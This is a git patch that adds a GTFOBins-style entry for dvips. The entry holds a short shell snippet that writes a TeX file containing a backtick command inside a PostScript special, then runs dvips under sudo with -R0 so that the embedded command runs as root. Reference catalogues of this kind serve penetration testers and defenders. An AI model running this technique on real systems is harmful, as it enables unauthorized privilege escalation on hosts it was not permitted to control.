From 85010470b2745f83bfb090cce7c13ed080fea8ce Mon Sep 17 00:00:00 2001 From: SynackCerv <80706218+SynackCerv@users.noreply.github.com> Date: Thu, 22 Apr 2021 22:12:52 +0200 Subject: [PATCH] Create dvips.md Add dvips. --- _gtfobins/dvips.md | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 _gtfobins/dvips.md diff --git a/_gtfobins/dvips.md b/_gtfobins/dvips.md new file mode 100644 index 0000000..bae048a --- /dev/null +++ b/_gtfobins/dvips.md @@ -0,0 +1,8 @@ +functions: + sudo: + - code: | + echo "\documentclass[12pt]{article} \begin{document}" > file.tex + echo '$$\hbox to5cm{\vbox to5cm{\vfil\special{psfile="`PROGRAM > /tmp/result"}}\hfill}$$' >> file.tex + echo "\end{document}" >> file.tex + tex -interaction=nonstopmode file.tex && sudo dvips -R0 file.dvi + cat /tmp/result